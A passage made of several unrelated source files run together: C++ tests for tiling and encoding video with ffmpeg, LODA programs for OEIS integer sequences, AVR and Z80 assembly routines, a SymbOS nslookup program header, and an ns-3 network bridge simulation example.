std::move(f); EXPECT_TRUE(f.operator->() == nullptr); EXPECT_TRUE(f2.empty()); EXPECT_FALSE(f2.operator->() == nullptr); } TEST(FrameSegmentor, TransformBuilder) { auto& buffer_map = create_buffer_map(); auto frame_builder = create_frame_builder(); auto frame_consumer = frame_builder(core::split_buffer_sequence(buffer_map[0], buffer_map[2], buffer_map[4], buffer_map[6], buffer_map[7], buffer_map[10])); auto count = 0; while (frame_consumer() && ++count) {} EXPECT_EQ(count, 125); } TEST(FrameSegmentor, TransformAsyncBuilder) { set_cpu_executor(4); auto& buffer_map = create_buffer_map(); auto count = 0; media::pixel_consume consume = [&count](media::pixel_array) { count++; }; auto frame_builder = create_async_frame_builder(consume); auto frame_consumer = frame_builder(core::split_buffer_sequence(buffer_map[0], buffer_map[2], buffer_map[4], buffer_map[6], buffer_map[7], buffer_map[10])); while (frame_consumer()) {} EXPECT_EQ(count, 125); } } std::map<int, multi_buffer> create_tile_buffer_map(std::string prefix, int first, int last) { std::map<int, multi_buffer> map; ostream(map[0]) << std::ifstream{ fmt::format("{}init.mp4", prefix), std::ios::binary }.rdbuf(); auto index = first; while (index <= last) { ostream(map[index]) << std::ifstream{ fmt::format("{}{}.m4s", prefix, index), std::ios::binary }.rdbuf(); index++; } EXPECT_EQ(map.size(), last - first + 2); for (auto& [index, buffer] : map) { fmt::print("{}: {}\n", index, buffer.size()); EXPECT_TRUE(buffer.size() > 0); } return map; } namespace media::test { TEST(FrameSegmentor, CreateTileBufferMap) { auto map = create_tile_buffer_map("F:/Output/NewYork/4x4_1000/dash/NewYork_c3r1_1000kbps_dash", 1, 50); std::ofstream mp4{ "F:/Debug/test.mp4", std::ios::out | std::ios::binary | std::ios::trunc }; std::ofstream yuv{ "F:/Debug/test.yuv", std::ios::out | std::ios::binary | std::ios::trunc }; for (auto& [index, buffer] : map) { if (index > 0) { auto count = 0i64; for (auto sub_buf : buffer.data()) { mp4.write(static_cast<const char*>(sub_buf.data()), sub_buf.size()); EXPECT_TRUE(mp4.good()); } media::frame_segmentor segmentor{ core::split_buffer_sequence(map.at(0), map.at(index)), 4 }; auto width = 0, height = 0; while (segmentor.codec_available()) { auto frames = segmentor.try_consume(); count += std::size(frames); for (auto& frame : frames) { yuv.write(reinterpret_cast<const char*>(frame->data[0]), frame->width * frame->height); yuv.write(reinterpret_cast<const char*>(frame->data[1]), frame->width * frame->height / 4); yuv.write(reinterpret_cast<const char*>(frame->data[2]), frame->width * frame->height / 4); if (!width || !height) { width = frame->width; height = frame->height; } } } fmt::print("width {} height {}\n", width, height); fmt::print("{}: count {}\n", index, count); EXPECT_EQ(count, 60); } } } } auto make_even = [](int num) constexpr { return num % 2 != 0 ? num + 1 : num; }; void scale_partial(const std::string_view input, const unsigned wcrop, const unsigned hcrop, const unsigned wscale, const unsigned hscale, const unsigned stride = 16, const unsigned offset = 0) { if (offset >= wcrop * hcrop) { return; } auto kbyte = 0; auto mbit = kbyte * 8 / 1000; create_directories(std::filesystem::path{ "F:/Gpac/debug" } / std::filesystem::path{ std::string{ input } }.stem()); auto cmd = fmt::format("ffmpeg -i {} -filter_complex \"", input); const auto [width, height] = media::format_context{ media::source::path{ input.data() } }.demux(media::type::video).scale(); const auto scale = fmt::format("scale={}:{}", make_even(width / wcrop / wscale), make_even(height / hcrop / hscale)); for (auto i = 0; i != wcrop; ++i) { for (auto j = 0; j != hcrop; ++j) { if (i * hcrop + j < offset || i * hcrop + j >= offset + stride) continue; const auto crop = fmt::format("crop={}:{}:{}:{}", width / wcrop, height / hcrop, width * i / wcrop, height * j / hcrop); cmd.append(fmt::format("[0:v]{},{}[v{}:{}];", crop, scale, i, j)); } } cmd.pop_back(); cmd.append("\" "); auto filename = std::filesystem::path{ std::string{ input } }.stem().generic_string(); for (auto i = 0; i != wcrop; ++i) { for (auto j = 0; j != hcrop; ++j) { if (i * hcrop + j < offset || i * hcrop + j >= offset + stride) continue; if (wscale > 1 || hscale > 1) { cmd.append(fmt::format("-map \"[v{}:{}]\" -c:v h264 E:/Tile/{}/t{}_{}_{}_{}.mp4 ", i, j, std::filesystem::path{ std::string{ input } }.stem().generic_string(), wcrop * hcrop, wscale * hscale, j, i)); } else { cmd.append(fmt::format( "-map \"[v{}:{}]\" -c:v libx264 -preset slow " "-x264-params keyint=30:min-keyint=30:bitrate=5000:vbv-maxrate=10000:vbv-bufsize=20000:fps=30:scenecut=0:no-scenecut:pass=1 " "F:/Gpac/debug/{}/{}_{}_{}_5K.mp4 ", i, j, filename, filename, j, i)); } } } cmd.append(" -y"); std::system(cmd.data()); scale_partial(input, wcrop, hcrop, wscale, hscale, stride, offset + stride); } class CommandBase : public testing::Test { protected: //inline static const std::filesystem::path output_directory = "F:/Output"; inline static const std::vector<int> video_index{ 0 }; inline static const std::map<int, std::filesystem::path> input_video_path_map{ { 0, "F:/Gpac/NewYork.mp4" } }; std::vector<std::filesystem::path> video_paths_; void SetUp() override { video_paths_ = std::reduce( video_index.begin(), video_index.end(), std::vector<std::filesystem::path>{}, [this](std::vector<std::filesystem::path>&& paths, const int path_index) { paths.push_back(input_video_path_map.at(path_index)); return paths; }); ASSERT_FALSE(std::empty(video_paths_)); MakeDirectory(); } void MakeDirectory(std::filesystem::path output_directory = "F:/Output") { ASSERT_TRUE(is_directory(output_directory.root_directory())); create_directories(output_directory); ASSERT_TRUE(is_directory(output_directory)); media::command::output_directory = output_directory; }; }; namespace media::test { TEST_F(CommandBase, Resize) { media::command::resize("F:/Gpac/NewYork.mp4", { 1920, 1080 }); } TEST_F(CommandBase, Scale) { scale_partial("F:/Gpac/NewYork.mp4", 3, 3, 1, 1); } TEST_F(CommandBase, CropScaleMedia3x3) { media::command::crop_scale_transcode("F:/Gpac/NewYork.mp4", { 3, 3 }, { 5000, 60 }); media::command::crop_scale_transcode("F:/Gpac/NewYork.mp4", { 3, 3 }, { 2500, 60 }); media::command::crop_scale_transcode("F:/Gpac/NewYork.mp4", { 3, 3 }, { 1000, 60 }); } TEST_F(CommandBase, CropScaleMedia4x4) { media::command::crop_scale_transcode("F:/Gpac/NewYork.mp4", { 4, 4 }, { 3000 }); media::command::crop_scale_transcode("F:/Gpac/NewYork.mp4", { 4, 4 }, { 2000 }); media::command::crop_scale_transcode("F:/Gpac/NewYork.mp4", { 4, 4 }, { 1000 }); } TEST_F(CommandBase, PackageMp4) { MakeDirectory("F:/Output/NewYork/"); media::command::package_container({ -1, 60 }); } TEST_F(CommandBase, DashSegmental) { MakeDirectory("F:/Output/NewYork/"); media::command::dash_segment(1000ms); } TEST_F(CommandBase, MergeDashMpd) { MakeDirectory("F:/Output/NewYork/"); media::command::merge_dash_mpd(); } auto command_environment = [](std::filesystem::path output_directory, std::pair<int, int> crop) { ASSERT_TRUE(is_directory(output_directory.root_directory())); create_directories(output_directory); ASSERT_TRUE(is_directory(output_directory)); media::command::output_directory = output_directory; media::command::wcrop = crop.first; media::command::hcrop = crop.second; }; TEST(Pipeline, NewYork5x4) { command_environment("F:/Output/", { 5, 4 }); media::command::crop_scale_package("F:/Gpac/NewYork.mp4", { 3000 }); media::command::crop_scale_package("F:/Gpac/NewYork.mp4", { 2000 }); media::command::crop_scale_package("F:/Gpac/NewYork.mp4", { 1000 }); command_environment("F:/Output/NewYork/", { 5, 4 }); media::command::package_container({ -1, 60 }); media::command::dash_segment(1000ms); media::command::merge_dash_mpd(); } auto command_rate_batch = [](std::filesystem::path input, std::filesystem::path output_directory, bool trancode = true) { EXPECT_TRUE(std::filesystem::is_regular_file(input)); EXPECT_TRUE(std::filesystem::is_directory(output_directory)); return [input, output_directory, trancode](std::pair<int, int> crop, std::initializer_list<int> bitrates, std::chrono::milliseconds duration = 1000ms) { auto [wcrop, hcrop] = crop; EXPECT_GT(wcrop, 0); EXPECT_GT(hcrop, 0); if (trancode) { command_environment(output_directory, crop); for (const auto bitrate : bitrates) { media::command::crop_scale_transcode(input, { bitrate, 60 }); } } command_environment(output_directory / input.stem(), crop); if (trancode) { media::command::package_container({ -1, 60 }); } media::command::dash_segment(duration); media::command::merge_dash_mpd(); }; }; auto command_qp_batch = [](std::filesystem::path input, std::filesystem::path output_directory, std::filesystem::path copy_directory) { EXPECT_TRUE(std::filesystem::is_regular_file(input)); EXPECT_TRUE(std::filesystem::is_directory(output_directory)); return [=](std::pair<int, int> crop, std::initializer_list<int> qp_list, std::chrono::milliseconds duration = 1000ms) { auto [wcrop, hcrop] = crop; EXPECT_GT(wcrop, 0); EXPECT_GT(hcrop, 0); command_environment(output_directory, crop); for (const auto qp : qp_list) { media::command::crop_scale_package(input, qp); } command_environment(output_directory / input.stem(), crop); media::command::dash_segment(duration); auto mpd_path = media::command::merge_dash_mpd(); const auto target_directory = copy_directory / input.stem() / fmt::format("{}x{}", wcrop, hcrop); create_directories(target_directory); copy_file(mpd_path, target_directory / mpd_path.filename(), std::filesystem::copy_options::overwrite_existing); auto tile_path_list = media::command::tile_path_list(); for (auto& tile_path : tile_path_list) { copy_file(tile_path, target_directory / tile_path.filename(), std::filesystem::copy_options::overwrite_existing); } }; }; TEST(CommandBatch, NewYorkRateBatch) { const auto command = command_rate_batch("F:/Gpac/NewYork.mp4", "F:/Output/", true); command({ 8, 4 }, { 1000, 800, 600, 400, 200 }); command({ 5, 3 }, { 2000, 1500, 1000, 500, 200 }); command({ 5, 4 }, { 1500, 1200, 1000, 500, 200 }); command({ 3, 3 }, { 3000, 2000, 1000, 500, 200 }); command({ 4, 3 }, { 2000, 1500, 1000, 500, 200 }); } TEST(CommandBatch, NewYorkQpBatch) { auto command = command_qp_batch("F:/Gpac/NewYork.mp4", "F:/Output/", "D:/Media"); command({ 6, 5 }, { 22, 27, 32, 37, 42 }); command({ 3, 3 }, { 22, 27, 32, 37, 42 }); command({ 5, 3 }, { 22, 27, 32, 37, 42 }); command({ 4, 3 }, { 22, 27, 32, 37, 42 }); command({ 5, 4 }, { 22, 27, 32, 37, 42 }); } TEST(CommandBatch, NewYorkQpBatch1x1) { auto command = command_qp_batch("F:/Gpac/NewYork.mp4", "F:/Output/", "D:/Media"); command({ 1, 1 }, { 22, 27, 32, 37, 42 }); } TEST(CommandBatch, AngelFallsVenezuelaQpBatch) { auto command = command_qp_batch("E:/VR/AngelFallsVenezuela7680x3840.mkv", "F:/Output/", "D:/Media"); command({ 3, 3 }, { 22, 32, 42 }); } TEST(Command, CropScaleTranscodeByQp) { media::command::output_directory = "F:/Debug"; media::command::wcrop = 3; media::command::hcrop = 3; media::command::crop_scale_package("F:/Gpac/NewYork.mp4", 22); } TEST(Command, SegmentDash) { media::command::dash_segment("F:/Debug/NewYork_c1r0_qp22.mp4", 1000ms); } }
; A213487: Number of (w,x,y) with all terms in {0,...,n} and |w-x|+|x-y|+|y-w| <= w+x+y. ; 1,5,15,37,77,138,223,338,489,679,911,1191,1525,1916,2367,2884,3473,4137,4879,5705,6621,7630,8735,9942,11257,12683,14223,15883,17669,19584,21631,23816,26145,28621,31247,34029,36973,40082,43359,46810 mov $2,$0 add $2,1 mov $4,$0 lpb $2 mov $0,$4 sub $2,1 sub $0,$2 mov $6,$0 add $6,1 mov $7,0 mov $8,$0 lpb $6 mov $0,$8 sub $6,1 sub $0,$6 mov $9,$0 mov $10,0 mov $11,$0 add $11,1 lpb $11 mov $0,$9 mov $3,0 sub $11,1 sub $0,$11 mov $5,4 lpb $0 add $0,1 mod $0,$5 add $0,1 div $0,3 add $0,1 mov $3,$5 mov $5,1 lpe add $3,1 add $0,$3 add $10,$0 lpe add $7,$10 lpe add $1,$7 lpe mov $0,$1
; A007913 o=1: Squarefree part of n: a(n) is the smallest positive number m such that n/m is a square. ; Coded manually 2021-02-25 by Antti Karttunen, https://github.com/karttu ; Note that A007913(n) = n / A008833(n), so we could just use cal to the latter and then divide. ; However, this is a stand-alone implementation. ; add $0,1 ; Add one, because A007913 is offset=1 sequence. mov $1,1 ; Initialize the result-register, will successively contain those squares that divide n mov $3,1 ; Odd numbers: 1, 3, 5, 7, 9, ... mov $4,1 ; Square candidates: 1, 4, 9, 16, 25, ... (partial sums of the above) mov $2,$0 ; Make a copy of an argument, to be used as lpb $2 ; a loop-counter add $3,2 ; Get the next odd number add $4,$3 ; Get the next square mov $5,$0 ; Get a work copy of the original n mod $5,$4 ; Does our square candidate divide it? cmp $5,0 ; now $5 = 1 if it did divide. mov $6,$4 sub $6,$1 ; $6 = (current_square_candidate - the_last_dividing_square) mul $6,$5 ; $6 = (current_square_candidate - the_last_dividing_square) if current_square_candidate divided n, otherwise 0 add $1,$6 ; Update thus the largest square that has divided so far n mov $5,$0 ; Get a fresh work copy of n again add $5,1 trn $5,$4 ; Check whether the square candidate has grown over n already? cmp $5,0 cmp $5,0 ; Now $5 = 0 if the square candidate has grown over n, otherwise 1 sub $2,$5 ; thus, either decrement the loop counter by one, or fall out lpe div $0,$1 mov $1,$0 ; A007913(n) = n / A008833(n) [that was obtained in the above loop].
/* * System Timer Utility * * org: 6/28/2014 * rev: 12/14/2014 * auth: Nels "Chip" Pearson * * Usage: * .include sys_timers.asm * * * Timer0 * General purpose system timer. Provides 10ms and 1ms TIC flags for services. * Embedded a call to start PWM pulses every 10ms. * * Timer1 * Can be configured for Servo Timing (8us res) or DC Motor Timing (32us res). * Just adjust clock divider. * Supports Two Servo Channels or Two DC Motors. * * Timer2 * Used to time Sonar. Set for 56.4us to read out in 1 cm per count. * */ ; 1ms tic flags ;.equ = GPIOR00 ; ;.equ = GPIOR01 ; ;.equ = GPIOR02 ; ;.equ = GPIOR03 ; ; 10ms tic flags ;.equ = GPIOR04 ; ;.equ = GPIOR05 ; ;.equ = GPIOR06 ; .equ DEMO_10MS_TIC = GPIOR07 ; Demo service .equ SLOW_TIC = 10 ; 1ms * N for the slow tic .DSEG st_cnt_10ms: .BYTE 1 ; secondary timer counter. st_tmr2_count: .BYTE 1 .CSEG /* * Set up Timer0 to generate 1ms and 10ms System Time Tics using 20MHz CPU clock. * GPIOR0 is used to provide TIC flags. * Call this once after RESET. * * Modifies: OCR0A, TCCR0A, TIMSK0, TCCR0B, and GPIOR0 * * input reg: none * output reg: none * resources: R16 * * NOTE: 10ms and 1ms flags generated. * */ st_init_tmr0: ;; ldi R16, 31 ; ( 8MHz) 2 * 256 * (1 + OCR0A) : 512 * (16*2) : 1024 * 8 * 2 ldi R16, 77 ; (20MHz) 2 * 256 * (1 + OCR0A) : 512 * (40*2) : 1024 * 40 * 2 out OCR0A, R16 ldi R16, (1<<WGM01) out TCCR0A, R16 ldi R16, (1<<OCIE0A) sts TIMSK0, R16 ; enable counter 0 OCO intr ; ldi R16, 0b100 ; CPU div 256 out TCCR0B, R16 ; ldi R16, SLOW_TIC ; set for 10ms count. sts st_cnt_10ms, R16 ; clr R16 sts GPIOR0, R16 ; clear all tic flags ; ret /* * Set up Timer1 for PWM at 8us (Servo) or 52.1us (DC Motor) rate using 20MHz CPU clock * Call this once after RESET. * * PWM use OCR1A and OCR1B interrupt services. * Timer1 counts up normally and is stopped and cleared once both PWM channels are triggered. * * Rate = 20MHz / 1024 = 51.2us rate * * Modifies: OCR1A, OCR1B, TCCR1A, TCCR1B, and TIMSK1 * * input reg: none * output reg: none * resources: R16 * * NOTE: Other values are provided for different clock rates. */ st_init_tmr1: clr r16 sts OCR1AH, r16 sts OCR1BH, r16 ldi r16, 1 ; set to STOP sts OCR1AL, r16 sts OCR1BL, r16 ; WGM11:0 = 00 ; WGM13:0 = 0000 for Normal count up. ldi r16, (0<<WGM11)|(0<<WGM10) sts TCCR1A, r16 ; WGM13:2 = 00, CS12:0 = 101, CPU div 1024 = 51.2 us ldi r16, (0<<WGM13)|(0<<WGM12)|(1<<CS12)|(0<<CS11)|(1<<CS10) sts TCCR1B, r16 ; ret /* * Set up Timer2 to generate 56.4us interrupt for Sonar Time (1cm) using 20MHz CPU clock * Call this once after RESET. * * Modifies: OCR0A, TCCR0A, TIMSK0, TCCR0B, and GPIOR0 * * input reg: none * output reg: none * resources: R16 * * NOTE: Rate set for 56.4us */ st_init_tmr2: ldi R16, 140 ; 140 sts OCR2A, R16 ; ldi R16, (1<<WGM01) ; reset on CTC match sts TCCR2A, R16 ; ldi R16, 0b010 ; CPU div 8 sts TCCR2B, R16 ; ldi R16, (1<<OCIE2A) ; enable timer2 intr on A match. sts TIMSK2, R16 ; ret /* * Clear Timer2 * Use for more accurate distance. Optional. */ st_clr_tmr2: push r16 clr r16 sts TCNT2, r16 pop r16 ret /* * Timer0 CTC (compare) interrupt service. * Called each 1ms * * input reg: none * output reg: none * resources: GPIOR0.GPIR00:7 * SRAM 1 byte * Stack:3 * */ st_tmr0_intr: ; Save SREG push R0 in R0, SREG push R0 ; push R16 ; tic1ms flags sbi GPIOR0, GPIOR00 ; sbi GPIOR0, GPIOR01 ; sbi GPIOR0, GPIOR02 ; sbi GPIOR0, GPIOR03 ; ; lds R16, st_cnt_10ms ; get counter dec R16 brne st_skip00 ldi R16, SLOW_TIC ; reload 10ms count down. ; tic10ms flags sbi GPIOR0, GPIOR04 ; sbi GPIOR0, GPIOR05 ; sbi GPIOR0, GPIOR06 ; sbi GPIOR0, GPIOR07 ; ; st_skip00: sts st_cnt_10ms, R16 ; update pop R16 ; Restore SREG pop R0 out SREG, R0 pop R0 ; reti /* * Timer1 interrupt service. * * see pwm_tmr1A_intr and pwm_tmr1B_intr */ /* * Timer2 CTC (compare) interrupt service. * Called each 56.4us to allow direct readout in cm for sonar. * * input reg: none * output reg: none * resources: st_tmr2_count SRAM 1 byte * * Limit Max count to 255 for NO rollover. * */ st_tmr2A_intr: ; Save SREG push R0 in R0, SREG push R0 ; push r16 ; lds r16, st_tmr2_count inc r16 brne st2A_skip00 ldi r16, 255 ; NO rollover. ; st2A_skip00: sts st_tmr2_count, r16 ; pop R16 ; ; Restore SREG pop R0 out SREG, R0 pop R0 ; reti
; ; Camputers Lynx C Library ; ; Print character to the screen ; ; Stefano Bodrato - 2014 ; ; ; $Id: fputc_cons.asm,v 1.4 2016-05-15 20:15:45 dom Exp $ ; SECTION code_clib PUBLIC fputc_cons_native .fputc_cons_native ld hl,2 add hl,sp ld a,(hl) cp 12 jr nz,nocls ld hl,$6255 ld a,5 ; reset vert. cursor position ld (hl),a ld a,3 ; reset horiz. cursor position dec hl ld (hl),a ; ld e,10 ; call setscroll ; ld bc,$86 ; ld a,12 ; out (c),a ; inc bc ; ld a,1 ; out (c),a jp $8e5 .nocls IF STANDARDESCAPECHARS cp 13 ret z cp 10 jr nz,setout ld a,13 ENDIF .setout ; ld hl,$6255 ; push af ; ld a,(hl) ; ld e,a ; pop af ; push hl ; push de rst 8 ; pop de ; pop hl ; ld a,e ; ld a,(hl) ; cp e ; ret nc ; ld a,e ; ld (hl),a ; ld bc,$86 ; ld a,12 ; out (c),a ; inc bc ; ld a,1 ; out (c),a ; ld e,0 ; call setscroll ret ;.setscroll ; ld a,13 ; dec bc ; out (c),a ; ld a,24 ; sub e ; push af ; rrca ; rrca ; and @11000000 ; inc bc ; out (c),a ; ld a,12 ; dec bc ; out (c),a ; pop af ; rrca ; rrca ; and @00000111 ; inc bc ; out (c),a ; ret
; A328821: Triangular array read by rows. Let P be the poset of all even sized subsets of [2n] ordered by inclusion. T(n,k) is the number of intervals in P with length k, 0<=k<=n, n>=0. ; Submitted by Christian Krause ; 1,2,1,8,12,1,32,120,30,1,128,896,560,56,1,512,5760,6720,1680,90,1,2048,33792,63360,29568,3960,132,1,8192,186368,512512,384384,96096,8008,182,1,32768,983040,3727360,4100096,1647360,256256,14560,240,1 mul $0,2 lpb $0 add $1,2 sub $0,$1 mov $2,$1 sub $2,$0 lpe bin $1,$0 mov $0,2 pow $0,$2 mul $1,$0 dif $1,2 mov $0,$1
nolist org #1000 write "nslookup.com" READ <SymbOS-Constants.asm> relocate_start App_BegCode ;### APPLICATION HEADER ####################################################### ;header structure prgdatcod equ 0 ;Length of the code area (OS will place this area everywhere) prgdatdat equ 2 ;Length of the data area (screen manager data; OS will place this area inside a 16k block of one 64K bank) prgdattra equ 4 ;Length of the transfer area (stack, message buffer, desktop manager data; placed between #c000 and #ffff of a 64K bank) prgdatorg equ 6 ;Original origin of the assembler code prgdatrel equ 8 ;Number of entries in the relocator table prgdatstk equ 10 ;Length of the stack in bytes prgdatrs1 equ 12 ;*reserved* (3 bytes) prgdatnam equ 15 ;program name (24+1[0] chars) prgdatflg equ 40 ;flags (+1=16colour icon available) prgdat16i equ 41 ;file offset of 16colour icon prgdatrs2 equ 43 ;*reserved* (5 bytes) prgdatidn equ 48 ;"SymExe10" SymbOS executable file identification prgdatcex equ 56 ;additional memory for code area (will be reserved directly behind the loaded code area) prgdatdex equ 58 ;additional memory for data area (see above) prgdattex equ 60 ;additional memory for transfer area (see above) prgdatres equ 62 ;*reserved* (26 bytes) prgdatver equ 88 ;required OS version (1.0) prgdatism equ 90 ;Application icon (small version), 8x8 pixel, SymbOS graphic format prgdatibg equ 109 ;Application icon (big version), 24x24 pixel, SymbOS graphic format prgdatlen equ 256 ;length of header prgpstdat equ 6 ;start address of the data area prgpsttra equ 8 ;start address of the transfer area prgpstspz equ 10 ;additional sub process or timer IDs (4*1) prgpstbnk equ 14 ;64K ram bank (1-15), where the application is located prgpstmem equ 48 ;additional memory areas; 8 memory areas can be registered here, each entry consists of 5 bytes ;00 1B Ram bank number (1-8; if 0, the entry will be ignored) ;01 1W Address ;03 1W Length prgpstnum equ 88 ;Application ID prgpstprz equ 89 ;Main process ID dw App_BegData-App_BegCode ;length of code area dw App_BegTrns-App_BegData ;length of data area dw App_EndTrns-App_BegTrns ;length of transfer area prgdatadr dw #1000 ;original origin POST address data area prgtrnadr dw relocate_count ;number of relocator table entries POST address transfer area prgprztab dw prgstk-App_BegTrns ;stack length POST table processes dw 0 ;*reserved* App_BnkNum db 0 ;*reserved* POST bank number db "NsLookUp":ds 16:db 0 ;name db 0 ;flags (+1=16c icon) dw 0 ;16c icon offset ds 5 ;*reserved* prgmemtab db "SymExe10" ;SymbOS-EXE-identifier POST table reserved memory areas dw 0 ;additional code memory dw 0 ;additional data memory dw 0 ;additional transfer memory ds 26 ;*reserved* db 0,3 ;required OS version (3.0) prgicnsml db 2, 8, 8:ds 16 prgicnbig db 6,24,24:ds 144 ;*** SYMSHELL LIBRARY USAGE ; SyShell_PARALL ;Fetches parameters/switches from command line ; SyShell_PARSHL ;Parses SymShell info switch use_SyShell_PARFLG equ 1 ;Validates present switches use_SyShell_CHRINP equ 0 ;Reads a char from the input source use_SyShell_STRINP equ 0 ;Reads a string from the input source use_SyShell_CHROUT equ 0 ;Sends a char to the output destination use_SyShell_STROUT equ 1 ;Sends a string to the output destination use_SyShell_PTHADD equ 0 ;... ; SyShell_EXIT ;Informs SymShell about an exit event ;*** SYSTEM MANAGER LIBRARY USAGE use_SySystem_PRGRUN equ 0 ;Starts an application or opens a document use_SySystem_PRGEND equ 1 ;Stops an application and frees its resources use_SySystem_PRGSRV equ 1 ;Manages shared services or finds applications use_SySystem_SYSWRN equ 0 ;Opens an info, warning or confirm box use_SySystem_SELOPN equ 0 ;Opens the file selection dialogue use_SySystem_HLPOPN equ 0 ;HLP file handling ;*** NETWORK DAEMON LIBRARY USAGE ; SyNet_NETINI ;... use_SyNet_NETEVT equ 0 ;Network event check use_SyNet_CFGGET equ 0 ;Config get data use_SyNet_CFGSET equ 0 ;Config set data use_SyNet_CFGSCK equ 0 ;Config socket status use_SyNet_TCPOPN equ 0 ;TCP open connection use_SyNet_TCPCLO equ 0 ;TCP close connecton use_SyNet_TCPSTA equ 0 ;TCP status of connection use_SyNet_TCPRCV equ 0 ;TCP receive from connection use_SyNet_TCPSND equ 0 ;TCP send to connection use_SyNet_TCPSKP equ 0 ;TCP skip received data use_SyNet_TCPFLS equ 0 ;TCP flush send buffer use_SyNet_TCPDIS equ 0 ;TCP disconnect connection use_SyNet_TCPRLN equ 0 ;TCP receive textline from connection use_SyNet_UDPOPN equ 0 ;UDP open use_SyNet_UDPCLO equ 0 ;UDP close use_SyNet_UDPSTA equ 0 ;UDP status use_SyNet_UDPRCV equ 0 ;UDP receive use_SyNet_UDPSND equ 0 ;UDP send use_SyNet_UDPSKP equ 0 ;UDP skip received data use_SyNet_DNSRSV equ 1 ;DNS resolve use_SyNet_DNSVFY equ 1 ;DNS verify READ <symbos_lib-SymShell.asm> READ <symbos_lib-SystemManager.asm> READ <symbos_lib-NetworkDaemon.asm> READ "Cmd-NsLookUp.asm" App_EndTrns relocate_table relocate_end
/* -*- Mode:C++; c-file-style:"gnu"; indent-tabs-mode:nil; -*- */ /* * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation; * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ // Network topology // // bridge1 The node named bridge1 (node 5 in the nodelist) // ------------------ has three CMSA net devices that are bridged // CSMA CSMA CSMA together using a BridgeNetDevice. // | | | // | | | The bridge node talks over three CSMA channels // | | | // CSMA CSMA CSMA to three other CSMA net devices // ---- ---- ---- // n0 n1 n2 Node two acts as a router and talks to another // ---- bridge that connects the remaining nodes. // CSMA // | // n3 n4 | // ---- ---- | // CSMA CSMA | // | | | // | | | // | | | // CSMA CSMA CSMA The node named bridge2 (node 6 in the nodelist) // ------------------ has three CMSA net devices that are bridged // bridge2 together using a BridgeNetDevice. // // Or, more abstractly, recognizing that bridge 1 and bridge 2 are nodes // with three net devices: // // n0 n1 (n0 = 10.1.1.2) // | | (n1 = 10.1.1.3) Note odd addressing // ----------- (n2 = 10.1.1.1) // | bridge1 | <- n5 // ----------- // | // router <- n2 // | // ----------- // | bridge2 | <- n6 // ----------- (n2 = 10.1.2.1) // | | (n3 = 10.1.2.2) // n3 n4 (n4 = 10.1.2.3) // // So, this example shows two broadcast domains, each interconnected by a bridge // with a router node (n2) interconnecting the layer-2 broadcast domains // // It is meant to mirror somewhat the csma-bridge example but adds another // bridged link separated by a router. // // - CBR/UDP flows from n0 (10.1.1.2) to n1 (10.1.1.3) and from n3 (10.1.2.2) to n0 (10.1.1.3) // - DropTail queues // - Global static routing // - Tracing of queues and packet receptions to file "csma-bridge-one-hop.tr" #include <iostream> #include <fstream> #include "ns3/core-module.h" #include "ns3/network-module.h" #include "ns3/applications-module.h" #include "ns3/bridge-module.h" #include "ns3/csma-module.h" #include "ns3/internet-module.h" using namespace ns3; NS_LOG_COMPONENT_DEFINE ("CsmaBridgeOneHopExample"); int main (int argc, char *argv[]) { // // Users may find it convenient to turn on explicit debugging // for selected modules; the below lines suggest how to do this // #if 0 LogComponentEnable ("CsmaBridgeOneHopExample", LOG_LEVEL_INFO); #endif // // Allow the user to override any of the defaults and the above Bind() at // run-time, via command-line arguments // CommandLine cmd; cmd.Parse (argc, argv); // // Explicitly create the nodes required by the topology (shown above). // NS_LOG_INFO ("Create nodes."); Ptr<Node> n0 = CreateObject<Node> (); Ptr<Node> n1 = CreateObject<Node> (); Ptr<Node> n2 = CreateObject<Node> (); Ptr<Node> n3 = CreateObject<Node> (); Ptr<Node> n4 = CreateObject<Node> (); Ptr<Node> bridge1 = CreateObject<Node> (); Ptr<Node> bridge2 = CreateObject<Node> (); NS_LOG_INFO ("Build Topology"); CsmaHelper csma; csma.SetChannelAttribute ("DataRate", DataRateValue (5000000)); csma.SetChannelAttribute ("Delay", TimeValue (MilliSeconds (2))); // Create the csma links, from each terminal to the bridge // This will create six network devices; we'll keep track separately // of the devices on and off the bridge respectively, for later configuration NetDeviceContainer topLanDevices; NetDeviceContainer topBridgeDevices; // It is easier to iterate the nodes in C++ if we put them into a container NodeContainer topLan (n2, n0, n1); for (int i = 0; i < 3; i++) { // install a csma channel between the ith toplan node and the bridge node NetDeviceContainer link = csma.Install (NodeContainer (topLan.Get (i), bridge1)); topLanDevices.Add (link.Get (0)); topBridgeDevices.Add (link.Get (1)); } // // Now, Create the bridge netdevice, which will do the packet switching. The // bridge lives on the node bridge1 and bridges together the topBridgeDevices // which are the three CSMA net devices on the node in the diagram above. // BridgeHelper bridge; bridge.Install (bridge1, topBridgeDevices); // Add internet stack to the router nodes NodeContainer routerNodes (n0, n1, n2, n3, n4); InternetStackHelper internet; internet.Install (routerNodes); // Repeat for bottom bridged LAN NetDeviceContainer bottomLanDevices; NetDeviceContainer bottomBridgeDevices; NodeContainer bottomLan (n2, n3, n4); for (int i = 0; i < 3; i++) { NetDeviceContainer link = csma.Install (NodeContainer (bottomLan.Get (i), bridge2)); bottomLanDevices.Add (link.Get (0)); bottomBridgeDevices.Add (link.Get (1)); } bridge.Install (bridge2, bottomBridgeDevices); // We've got the "hardware" in place. Now we need to add IP addresses. NS_LOG_INFO ("Assign IP Addresses."); Ipv4AddressHelper ipv4; ipv4.SetBase ("10.1.1.0", "255.255.255.0"); ipv4.Assign (topLanDevices); ipv4.SetBase ("10.1.2.0", "255.255.255.0"); ipv4.Assign (bottomLanDevices); // // Create router nodes, initialize routing database and set up the routing // tables in the nodes. We excuse the bridge nodes from having to serve as // routers, since they don't even have internet stacks on them. // Ipv4GlobalRoutingHelper::PopulateRoutingTables (); // // Create an OnOff application to send UDP datagrams from node zero to node 1. // NS_LOG_INFO ("Create Applications."); uint16_t port = 9; // Discard port (RFC 863) OnOffHelper onoff ("ns3::UdpSocketFactory", Address (InetSocketAddress (Ipv4Address ("10.1.1.3"), port))); onoff.SetConstantRate (DataRate ("500kb/s")); ApplicationContainer app = onoff.Install (n0); // Start the application app.Start (Seconds (1.0)); app.Stop (Seconds 